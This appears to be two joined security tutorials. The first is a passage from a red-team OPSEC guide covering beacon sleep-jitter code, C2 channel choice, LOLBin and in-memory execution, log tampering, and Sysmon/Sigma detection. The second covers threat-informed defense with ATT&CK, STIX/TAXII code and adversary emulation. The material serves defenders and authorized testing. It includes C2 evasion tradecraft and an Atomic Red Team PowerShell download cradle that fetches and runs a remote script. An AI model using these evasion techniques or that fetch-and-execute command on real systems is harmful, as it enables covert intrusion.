def beacon_sleep(base_seconds: int, jitter_pct: int) -> None:
    delta = base_seconds * (jitter_pct / 100.0)
    interval = base_seconds + random.uniform(-delta, +delta)
    # 60s base, 30% jitter -> 42s..78s
    time.sleep(interval)

A 60s ± 30% schedule destroys naive periodicity heuristics; longer sleeps (3600s ± 50%) defeat most short-window NDR baselines but cost interactivity. Match channel to environment:

ChannelWhen to use
HTTPSDefault; blends with web traffic if profile is well-tuned (T1071.001)
DNS (TXT/A)Egress-restricted networks; low bandwidth, noisy on Sysmon EID 22 (T1071.004)
SMB named pipeLateral peer-to-peer beaconing; avoid default msagent_* pipe names
Domain-fronted HTTPSWhere CDN egress is allowed and DPI cannot inspect SNI (T1090.004)

9. LOLBins and In-Memory Execution

Living-off-the-Land Binaries (LOLBins) are signed Microsoft binaries that proxy execution and inherit trust. The trade-off is that they are now heavily monitored — rundll32.exe spawned by winword.exe is a textbook ASR trigger.

BinaryCommon Abuse
rundll32.exeExecute exported function from a DLL (T1218.011)
regsvr32.exeSquiblydoo: scriptlet execution (T1218.010)
mshta.exeHTA / inline VBScript execution (T1218.005)
wmic.exeProcess invocation; deprecated but still present
certutil.exe -decodeDecode staged base64 payloads (T1140)

In-memory execution avoids disk artifacts entirely:

  • BOFs (Beacon Object Files) execute small COFF objects inside the implant process — no new process, no file on disk.
  • Assembly.Load() loads a .NET assembly from a byte array, bypassing Image Load events for the managed module on disk.
  • Reflective DLL loading maps a DLL without invoking the loader, so it never appears in LoadLibrary audit paths.

A note on PowerShell: powershell -enc <base64> looks obfuscated and is logged by Sysmon Event ID 1 in its decoded form once Script Block Logging is enabled. AMSI sees the deobfuscated content immediately before execution. Encoding is not evasion against a modern stack.


10. Artifact & Log OPSEC

Cleaning up is part of the engagement — but cleanup itself is loud.

ActionATT&CKOPSEC Caveat
TimestompingT1070.006NtSetInformationFile with FileBasicInformation rewrites $STANDARD_INFORMATION; $FILE_NAME MFT attribute is not updated and remains forensically accurate
Event log clearingT1070.001wevtutil cl Security generates Event ID 1102 (Security) / 104 (System) — the act of clearing is itself the alert
Disabling ETWT1562.002Patching EtwEventWrite in-process is in-memory only and not logged — but Threat-Intelligence provider observes the patch via kernel callbacks on PPL-aware EDRs
File deletionT1070.004NTFS $MFT entries persist; Volume Shadow Copies retain prior versions; USN journal records the unlink

Rule of thumb: do not clear logs unless the engagement scope explicitly authorizes it. Selective in-process ETW suppression is quieter, scope-limited, and reversible.


11. The OPSEC Operator Checklist

PhaseCheck
Pre-opHostnames renamed off kali; tool hashes scrubbed; C2 profile validated against default-detection rules
Pre-opDomains aged > 90 days, valid TLS certs, redirector ACLs in place, infra segmented across providers
Pre-opBeacon sleep + jitter set; default pipe names changed; default Spawnto_x64 rewritten
DuringPrefer in-memory execution (BOF, reflective, Assembly.Load); avoid disk staging
DuringSpoof PPIDs where parent-child chains would otherwise flag; pick injection targets that already make network calls
DuringNever run Mimikatz from disk; use in-memory credential access only with explicit authorization
DuringModify existing services rather than creating new ones (avoids Event ID 7045)
Post-opRemove staging artifacts; never clear Security/System logs unless scope explicitly authorizes it
Post-opDocument every artifact for the client report — defenders need the IOC list for purple-team validation

12. Common Attacker Techniques

TechniqueDescription
Classic remote thread injectionVirtualAllocEx + WriteProcessMemory + CreateRemoteThread — most signatured behavior on Windows
APC injectionNtQueueApcThread into alertable threads (T1055.004)
Process hollowingCreateProcess suspended → unmap → write → ResumeThread (T1055.012)
Parent PID spoofingPROC_THREAD_ATTRIBUTE_PARENT_PROCESS to break parent-child chain (T1134.004)
Direct / indirect syscallsBypass userland API hooks via syscall instruction
Reflective DLL loadingMap DLL without LoadLibrary (T1620)
ETW / AMSI patchingIn-process patch of EtwEventWrite / AmsiScanBuffer (T1562.001)
LOLBin proxied executionrundll32, regsvr32, mshta (T1218)
Domain frontingCDN-fronted TLS to mask C2 destination (T1090.004)
TimestompingRewrite $STANDARD_INFORMATION MACE timestamps (T1070.006)

13. Defensive Strategies & Detection

The OPSEC failures above map directly to telemetry. Defenders should focus on behavior chains, not isolated IOCs — fixating on hashes catches yesterday’s adversary.

Sysmon Event IDCapturesOPSEC Failure It Catches
1Process Create + CommandLine + ParentImageLOLBin abuse, PPID-spoof inconsistencies, encoded PowerShell
3Network ConnectionBeacon callbacks; non-network processes (notepad.exe) initiating connections
7Image LoadedUnusual DLL load paths; signed-binary side-loading (T1574)
8CreateRemoteThreadClassic injection triad (T1055.001)
10ProcessAccessGrantedAccess masks like 0x1010 against lsass.exe (T1003.001)
11FileCreateStaging artifacts in %TEMP%, %PUBLIC%, \ProgramData\
17 / 18Pipe Created / ConnectedDefault Beacon pipe names (msagent_*, status_*, postex_*)
22DNS QueryDNS C2 (T1071.004) — high-frequency TXT/A to uncommon domains

A Sigma sketch for the most common parent-spoof + LOLBin pattern:

title: Office Application Spawning rundll32 via Spoofed Parent
logsource:
  product: windows
  service: sysmon
detection:
  selection_proc:
    EventID: 1
    Image|endswith: '\rundll32.exe'
    ParentImage|endswith:
      - '\explorer.exe'
      - '\svchost.exe'
  selection_cmd:
    CommandLine|contains:
      - ',DllRegisterServer'
      - 'javascript:'
      - 'shell32.dll,Control_RunDLL'
  filter_signed_paths:
    CurrentDirectory|startswith: 'C:\Windows\System32\'
  condition: selection_proc and selection_cmd and not filter_signed_paths
level: high

Windows Security audit events to enable: 4688 (process creation with command line), 4698 (scheduled task), 7045 (new service), 1102 (Security log cleared), 4656/4663 (object access via SACL). Enable PowerShell Script Block Logging and Module Logging via GPO. Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 to protect LSASS, deploy Credential Guard, and enforce ASR rules blocking Office child-process spawning and LSASS credential theft. A misconfigured Sysmon ruleset is the single most common reason behavior-based detection fails — deploy a tuned config (e.g., SwiftOnSecurity or olafhartong’s modular config) and review it quarterly.


Graph diagram mapping defender telemetry sources — Sysmon, ETW, AMSI, and Sigma rules — to the attacker OPSEC failures they detect, including process injection, LOLBin execution, PowerShell obfuscation, and PPID spoofing
Defenders correlate overlapping telemetry layers into behavior chains — no single sensor catches everything, but their intersection eliminates most OPSEC blind spots.

14. Tools for Red Team OPSEC Analysis

ToolDescriptionLink
SysmonMicrosoft endpoint telemetry agent — the primary source for behavioral detectionsysinternals.com
SwiftOnSecurity / olafhartong configsCommunity Sysmon configurations tuned for detection coveragegithub.com
Process HackerInspect injected memory regions, RWX allocations, suspicious threadsprocesshacker.sourceforge.io
Process MonitorFile, registry, and process activity tracing during purple-team replaysysinternals.com
SigmaGeneric SIEM detection rule format used in this postsigmahq.io
VelociraptorDFIR + hunt agent; runs VQL queries across the estatevelociraptor.app
Volatility 3Memory forensics — detects reflective loads, injected sections, hollowed processesvolatilityfoundation.org
SilkETW / SealighterTISurface Microsoft-Windows-Threat-Intelligence and other ETW providersgithub.com
Wireshark / ZeekNetwork analysis for beacon periodicity, JA3/JA4 fingerprints, DNS C2zeek.org

15. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Process InjectionT1055Sysmon EID 8/10; Threat-Intelligence ETW
DLL InjectionT1055.001Sysmon EID 8 with TargetImage
APC InjectionT1055.004Threat-Intelligence ETW; EDR kernel callbacks
Process HollowingT1055.012Image base mismatch; memory forensics (Volatility)
Parent PID SpoofingT1134.004Sysmon EID 1 ParentImage vs EDR CreatingProcessId mismatch
Obfuscated Files / InfoT1027PowerShell Script Block Logging; AMSI
Clear Windows Event LogsT1070.001Event ID 1102 / 104
TimestompT1070.006$FILE_NAME vs $STANDARD_INFORMATION divergence in MFT
Web Protocols C2T1071.001NDR JA3/JA4 + URI anomalies
DNS C2T1071.004Sysmon EID 22; DNS-Client ETW
Proxy / RedirectorT1090Outbound destination ASN baseline drift
Domain FrontingT1090.004SNI vs Host: header divergence (where TLS inspection exists)
System Binary Proxy ExecutionT1218Sysmon EID 1 LOLBin command-line patterns
Disable or Modify ToolsT1562.001Threat-Intelligence ETW; EDR self-protection alerts
Disable Event LoggingT1562.002Audit policy change events; ETW provider state
Reflective Code LoadingT1620Memory forensics; RWX private region scans

16. Summary

  • OPSEC is the discipline of knowing exactly what telemetry every offensive action produces, and making conscious risk decisions about each one.
  • The five-step OPSEC cycle (identify, threat, vuln, risk, countermeasure) is run before each engagement phase, not once at kickoff.
  • Infrastructure OPSEC layers redirectors, aged categorized domains, segmented providers, and customized malleable C2 profiles — defaults are signatured.
  • Process and network OPSEC favor in-memory execution (BOF, reflective load, Assembly.Load), PPID spoofing, sensible injection-target selection, and sleep + jitter to destroy beacon periodicity.
  • Log and artifact suppression is a sharp tool: timestomping leaves $FILE_NAME evidence, wevtutil cl triggers Event ID 1102, and ETW patching is itself observed by the Threat-Intelligence provider.
  • Defenders close every loop with Sysmon, ETW, AMSI, and behavior-chain Sigma rules — focus on TTP chains, not IOCs, to catch operators who actually practice OPSEC.

Related Tutorials

References

Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle

Objective: Understand how defenders operationalize adversary knowledge — the Pyramid of Pain, MITRE ATT&CK, the CTI lifecycle, STIX/TAXII, M3TID/INFORM, and adversary emulation — into a continuous, measurable intelligence-driven security cycle rather than reacting to brittle indicators.


1. The Problem With Reactive Defense

Indicator-centric programs fail because indicators are cheap for the adversary to change. Hashes, IP addresses, and domains rotate trivially — a recompile changes a hash; a new VPS changes an IP. As popularized by David Bianco’s Pyramid of Pain (2013), these atomic indicators detect an adversary only for a fleeting window.

The Pyramid ranks indicator types by how much pain it causes an adversary to change them:

Indicator TypeCost to Adversary
Hash valuesTrivial
IP addressesEasy
Domain namesSimple
Network/host artifactsAnnoying
ToolsChallenging
TTPs (Tactics, Techniques, Procedures)Tough

Documenting activity at the TTP level lets defenders think at an abstraction that is concrete enough to be actionable, yet stable enough to remain valid across adversaries and over time. Unlike traditional models that focus on indicators of compromise (IOCs), behavioral defense maps how adversaries operate once inside the environment. That is the foundation of Threat-Informed Defense.


Pyramid of Pain hierarchy showing TTPs at the apex causing the most adversary pain down to hash values at the base causing the least
The Pyramid of Pain: indicators near the base are trivial for adversaries to rotate; TTPs at the apex represent durable, costly-to-change behavior.

2. What Is Threat-Informed Defense?

Threat-Informed Defense (TID) is the systematic application of a deep understanding of adversary tradecraft and technology to improve defenses. The MITRE Center for Threat-Informed Defense (CTID) defines it across three operationalized dimensions:

DimensionQuestion It Answers
Cyber Threat Intelligence (CTI)Who are our adversaries and which TTPs do they use?
Defensive Measures (DM)Do we prevent, detect, and mitigate those specific TTPs?
Testing & Evaluation (T&E)Can we prove it by emulating realistic adversary behavior?

The shift is from “Are we patched?” to “Are we defended against these adversaries?” TID is a mindset that prioritizes finite defensive budget against the behaviors that actually threaten your sector.


3. MITRE ATT&CK: Architecture and Anatomy

The MITRE ATT&CK® Framework is a globally accessible knowledge base of adversary TTPs based on real-world observations. Its core objects:

ComponentDetails
TacticsAdversary goals (the why); 14 Enterprise columns.
Techniques / Sub-techniquesHow a goal is achieved; ID format TNNNN / TNNNN.NNN.
GroupsNamed threat-actor profiles (e.g., APT29, FIN7) with mapped techniques.
SoftwareMalware and tools observed in intrusions.
Mitigations & Data SourcesControls that counter a technique; telemetry that observes it.
MatricesEnterprise plus ICS, Mobile, and Cloud variants.

The 14 Enterprise tactics, in order: Reconnaissance (TA0043), Resource Development (TA0042), Initial Access (TA0001), Execution (TA0002), Persistence (TA0003), Privilege Escalation (TA0004), Defense Evasion (TA0005), Credential Access (TA0006), Discovery (TA0007), Lateral Movement (TA0008), Collection (TA0009), Command and Control (TA0011), Exfiltration (TA0010), Impact (TA0040). ATT&CK is versioned — always confirm IDs against attack.mitre.org.

ATT&CK is distributed as STIX 2.1. You can parse the public bundle directly to enumerate every technique:

from stix2 import MemoryStore, Filter

store = MemoryStore()
store.load_from_file("enterprise-attack.json")  # mitre/cti repo

for t in store.query([Filter("type", "=", "attack-pattern")]):
    for ref in t.get("external_references", []):
        if ref.get("source_name") == "mitre-attack":
            print(ref["external_id"], "-", t["name"])

ATT&CK Navigator visualizes and compares coverage layers (JSON format), while ATT&CK Workbench lets organizations manage and extend a local copy of the knowledge base in sync with the public one.


4. The CTI Lifecycle: From Raw Data to Prioritized TTPs

Intelligence is produced, not collected ad hoc. The six-phase CTI lifecycle maps cleanly onto the TID dimensions:

PhasePurpose
DirectionDefine intelligence requirements (which sector adversaries matter).
CollectionPull from feeds, ISACs, internal incidents.
ProcessingNormalize and structure raw data.
AnalysisExtract TTPs, attribute, and prioritize.
DisseminationDeliver to detection engineering / leadership.
FeedbackRefine requirements from what the consumers needed.

Structured intelligence is exchanged with STIX 2.1 (the data model) over TAXII 2.1 (the transport, supporting Collections and Channels). Open platforms — MISP and OpenCTI — ingest STIX bundles manually, via connectors, or by subscribing to a TAXII feed.

A minimal shareable STIX bundle links a threat actor to a technique through a relationship:

from stix2 import ThreatActor, AttackPattern, Relationship, Bundle, ExternalReference

actor = ThreatActor(name="APT29", labels=["nation-state"])

technique = AttackPattern(
    name="Spearphishing Attachment",
    external_references=[ExternalReference(
        source_name="mitre-attack",
        external_id="T1566.001",
        url="https://attack.mitre.org/techniques/T1566/001")])

rel = Relationship(actor, "uses", technique)
print(Bundle(actor, technique, rel).serialize(pretty=True))

Automating the loop turns a TAXII feed into a prioritized TTP list for the detection team:

from taxii2client.v21 import Server
from stix2 import parse
import csv

server = Server("https://taxii.example-isac.org/taxii2/",
                user="analyst", password="<token>")
collection = server.api_roots[0].collections[0]

ttps = []
for obj in collection.get_objects().get("objects", []):
    so = parse(obj, allow_custom=True)
    if so.get("type") == "attack-pattern":
        for ref in so.get("external_references", []):
            if ref.get("source_name") == "mitre-attack":
                ttps.append((ref["external_id"], so["name"]))

with open("prioritized_ttps.csv", "w", newline="") as f:
    csv.writer(f).writerows([("technique_id", "name"), *sorted(set(ttps))])

Flow diagram mapping the six-phase CTI lifecycle through STIX/TAXII dissemination into the three TID dimensions of defensive measures, testing and evaluation, and feedback
The six-phase CTI lifecycle feeds prioritized TTPs directly into TID’s three operational dimensions, forming a closed, self-improving loop.

5. Building a Sector-Specific Threat Model

You cannot defend against everything, so prioritize. Select the ATT&CK Groups relevant to your sector, extract their techniques, and weight by frequency using CTID’s Sightings Ecosystem data and the Top ATT&CK Techniques Calculator.

The mitreattack-python library pulls a group’s full technique set:

from mitreattack.stix20 import MitreAttackData

data = MitreAttackData("enterprise-attack.json")
apt29 = data.get_groups_by_alias("APT29")[0]

for entry in data.get_techniques_used_by_group(apt29.id):
    tech = entry["object"]
    print(data.get_attack_id(tech.id), tech["name"])

Layer the result in the Navigator and colour cells by your current detection status. A layer file encodes that scoring directly:

{
  "name": "Detection Coverage - APT29",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "color": "#fc3b3b", "comment": "None - no email detonation telemetry" },
    { "techniqueID": "T1059.001", "color": "#33cc33", "comment": "Detected - Script Block Logging" },
    { "techniqueID": "T1055",     "color": "#ffe766", "comment": "Partial - EDR on workstations only" }
  ]
}

6. Mapping Controls to ATT&CK: The Defensive Measures Dimension

Knowing the adversary is useless without knowing your own coverage. CTID’s Mappings Explorer lets defenders see how security capabilities map to ATT&CK, and the NIST SP 800-53 ↔ ATT&CK mappings let you assess control coverage against real-world techniques.

The critical pitfall: ATT&CK coverage ≠ detection coverage. A control that can mitigate a technique is not the same as telemetry that proves you detect it. Distinguish two gap types:

Gap TypeMeaning
Coverage gapNo control or telemetry exists for the technique.
Detection gapTelemetry exists, but no analytic fires on it.

Re-run the Mappings Explorer comparison before and after each emulation cycle to quantify the coverage delta — that delta is your measurable program improvement.


7. Testing & Evaluation: Closing the Loop

T&E proves defenses work by emulating real adversary behavior. Distinguish the disciplines:

ApproachFocus
Penetration testingFind exploitable vulnerabilities.
Adversary emulationReproduce a specific actor’s TTP chain.
Breach & Attack Simulation (BAS)Continuous, automated technique validation.

MITRE CALDERA is a scalable, automated adversary-emulation platform; Atomic Red Team (Red Canary) is a library of small, ATT&CK-mapped tests for fast technique validation; and the CTID Adversary Emulation Library provides full emulation plans modeled on real threats. Run them as purple-team exercises — red executes, blue observes, both tune in real time.

# T1059.001 - atomic test metadata (excerpt)
attack_technique: T1059.001
display_name: PowerShell
atomic_tests:
  - name: Download cradle execution
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{cradle_url}')
    input_arguments:
      cradle_url:
        type: url
        default: https://example.test/benign.ps1
# Execute one atomic test, then confirm the telemetry fired
Invoke-AtomicTest T1059.001 -TestNumbers 1
# Map result -> Navigator: green only if Sysmon EID 1 + Script Block Log observed

If the test fires but no analytic alerts, you have found a detection gap — feed it straight back into the cycle.


8. M3TID and INFORM: Measuring Program Maturity

CTID’s M3TID (Measure, Maximize, Mature Threat-Informed Defense) operationalizes the three dimensions and assigns relative weighting:

DimensionWeight
Cyber Threat Intelligence30%
Defensive Measures50%
Testing & Evaluation20%

The weighting reflects that defensive measures are where threat knowledge becomes protection. INFORM (Jan 2026) builds on M3TID, translating CTI, defensive measures, and T&E into a measurable, repeatable strategic maturity practice. Treat M3TID as the foundational reference and INFORM as its strategic-maturity successor — they are distinct publications, not synonyms. Self-assess each dimension, then invest where the lowest-weighted-adjusted score sits.


9. The Intelligence-Driven Security Cycle: Putting It All Together

The dimensions form a continuous loop, not a one-time audit:

  1. Direction/CTI: Ingest sector intelligence via TAXII; extract prioritized TTPs.
  2. Threat model: Layer relevant ATT&CK Groups in Navigator.
  3. Defensive measures: Map controls via Mappings Explorer; identify gaps.
  4. T&E: Emulate the TTP chain with CALDERA / Atomic Red Team.
  5. Measure: Score coverage delta and M3TID maturity.
  6. Feedback: Failed detections become new CTI collection requirements.

Each rotation tightens coverage against the adversaries you actually face. The loop never closes — new sightings continuously reshape the threat model.


Cyclical graph showing the intelligence-driven security cycle flowing from CTI ingest through threat modelling, gap analysis, adversary emulation, and maturity measurement back to new collection requirements
The intelligence-driven security cycle is self-reinforcing: failed detections become collection requirements that sharpen the next rotation.

10. Common Pitfalls and Maturity Anti-Patterns

  • The “ATT&CK checkbox” fallacy — colouring a cell green for a control that is mapped but never validated.
  • Retroactive labeling — tagging alerts with technique IDs after the fact instead of engineering proactive detections.
  • IOC over-reliance — building the program on indicators near the bottom of the Pyramid of Pain.
  • Treating the matrix as static — ATT&CK is versioned; threat models decay if not refreshed.
  • Stale TTPs — driving investment from sightings years old without re-validation.

11. Common Attacker Techniques

These are the behaviors a TID program is built to detect — the worked examples throughout the cycle:

TechniqueDescription
T1566 Phishing / T1566.001 Spearphishing AttachmentInitial Access; canonical threat-modeling example (used by APT29).
T1059.001 PowerShellExecution; most common sub-technique in emulation runs.
T1053 Scheduled Task/JobPersistence; linked to FIN7 in ATT&CK.
T1055 Process InjectionDefense Evasion; illustrates a deep sub-technique hierarchy.
T1078 Valid AccountsCredential Access/Persistence; shows why behavior beats IOCs.
T1021 Remote ServicesLateral Movement; common in sector threat models.
T1486 Data Encrypted for ImpactImpact; ransomware-focused modeling.

12. Defensive Strategies & Detection

TID succeeds only if emulation is observable. Validate that the following telemetry fires during every T&E run:

SourceDetail
Sysmon Event ID 1Process Create — baseline for technique execution (Image, CommandLine, ParentImage, Hashes).
Sysmon Event ID 3Network Connect — C2 simulation (DestinationIp, DestinationPort, Image).
Sysmon Event ID 11File Create — emulation artifact drops (TargetFilename).
Security Event 4688Native process creation; requires Audit Process Creation + command-line logging GPO.
Security Event 4624 / 4625Logon success/failure — credential-access techniques.
PowerShell Script Block LoggingETW Microsoft-Windows-PowerShell ({A0C1853B-5C40-4B15-8766-3CF1C58F985A}) — captures T1059.001.
ETW Microsoft-Windows-Threat-IntelligenceKernel provider consumed by EDR for T1055.* injection patterns.

Anchor every detection to an ATT&CK ID so coverage is measurable. A skeleton Sigma rule for encoded PowerShell:

title: Suspicious PowerShell Encoded Command Execution
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution
  - attack.t1059.001
  - attack.ta0002
level: medium

Hardening baselines: enable command-line process auditing (ProcessCreationIncludeCmdLine_Enabled); enforce PowerShell Constrained Language Mode with Script Block and Module Logging; deploy Sysmon with a maintained config (e.g., SwiftOnSecurity) validated against each technique’s ATT&CK data sources; enforce a TTP expiry policy (re-validate sightings older than 24 months); and configure automated TAXII ingest from ISAC/CERT networks.


13. Tools for Threat-Informed Defense

ToolDescriptionLink
ATT&CK NavigatorLayer-based technique coverage visualizationattack.mitre.org
ATT&CK WorkbenchManage and extend a local ATT&CK copyctid.mitre.org
MISPOpen-source threat-intelligence platform (STIX/TAXII)misp-project.org
OpenCTISTIX 2.1 ingestion via connectors and TAXIIfiligran.io
MITRE CALDERAAutomated adversary emulationcaldera.mitre.org
Atomic Red TeamATT&CK-mapped atomic test libraryatomicredteam.io
Mappings ExplorerSecurity controls mapped to ATT&CKctid.mitre.org
SigmaSIEM-agnostic detection rule standardsigmahq.io

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Phishing / Spearphishing AttachmentT1566 / T1566.001Mail-gateway detonation; Sysmon EID 1/11 on child processes.
PowerShellT1059.001Script Block Logging; Sigma on -enc.
Scheduled Task/JobT1053Security Event 4698; Sysmon EID 1 (schtasks.exe).
Process InjectionT1055ETW Threat-Intelligence; EDR memory analytics.
Valid AccountsT1078Security Event 4624 anomaly baselining.
Remote ServicesT1021Sysmon EID 3; logon-type correlation.
Data Encrypted for ImpactT1486Sysmon EID 11 mass-write; canary files.

Summary

  • Threat-Informed Defense replaces brittle IOC reaction with stable, behavior-centric defense built on adversary TTPs.
  • The Pyramid of Pain motivates the shift; MITRE ATT&CK supplies the shared TTP vocabulary across Tactics, Techniques, Groups, and Mitigations.
  • TID’s three dimensions — CTI, Defensive Measures, Testing & Evaluation — connect through the six-phase CTI lifecycle and exchange intelligence via STIX 2.1 over TAXII 2.1.
  • M3TID measures maturity (CTI 30%, DM 50%, T&E 20%); INFORM is its strategic successor.
  • Close the loop with CALDERA, Atomic Red Team, and the CTID Adversary Emulation Library, validating every technique against Sysmon and ATT&CK-tagged Sigma rules.

Related Tutorials

References